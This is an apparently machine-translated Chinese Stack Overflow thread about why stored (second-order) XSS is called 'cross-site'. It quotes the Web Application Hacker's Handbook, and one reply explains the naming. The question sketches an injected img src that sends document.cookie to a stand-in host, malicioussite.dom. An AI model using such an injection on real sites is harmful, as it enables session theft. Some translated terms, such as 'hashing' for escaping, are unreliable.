我正在阅读“Web应用程序黑客手册”,它讨论了一阶XSS和二阶XSS之间的区别。它提到反射XSS如何利用查询字符串params的不完全或不存在的散列来执行任意脚本到用户的DOM中,而不将任何恶意代码持久化到应用程序的数据库,以及二阶XSS实际上如何持久化该恶意代码,并在稍后某个时候在用户的DOM中执行。
我的问题涉及到作者对二级XSS的定义(如果你手头有一份副本的话,请看第438页)。书中的说明指出:
针对存储的XSS漏洞的攻击通常至少涉及对应用程序的两个请求。首先,攻击者发布一些精心编制的数据,其中包含应用程序存储的恶意代码。在第二部分中,受害者查看包含攻击者数据的页面,在受害者的浏览器中执行脚本时执行恶意代码。因此,该漏洞有时也称为二阶跨站点脚本。(在这个例子中,“XSS”确实是个用词不当的词,因为攻击没有跨站点元素。强调这个名字被广泛使用,所以我们会在这里保留它)。
在二级XSS中,攻击者仍然注入的恶意代码(大概)仍然是指向外部服务器的任意脚本(例如,向img标记注入"http://www.malicioussite.dom" + document.cookie的src属性)。我搞不懂为什么作者会说这次攻击没有跨站点元素。在我看来,向恶意外部服务器发出请求似乎是一个正确的跨站点元素。我是不是遗漏了什么?
发布于 2017-06-05 06:09:58
对我来说,XSS中的“跨站点”意味着恶意脚本本身直接从另一个站点发送。例如,在url参数上反射XSS的情况下,恶意网站A.com可以创建一个指向受害者网站B.com的链接,该链接的攻击参数为B,当用户访问A并单击该链接时,他将在B上执行脚本。
所以我认为这不是恶意脚本在做什么,而是它从何而来(以及如何产生)。
在存储XSS的情况下,脚本通常直接输入到易受攻击的网站上,但是可能并不总是这样,比如维护原始的“跨站点”元素。但没关系,名称是相同的,因为根本的问题和代码中的解决方案是一样的,所以漏洞的名称也是一样的。:)
不管人们怎么称呼它,重要的是要避免它。:)
https://stackoverflow.com/questions/44360984
复制相似问题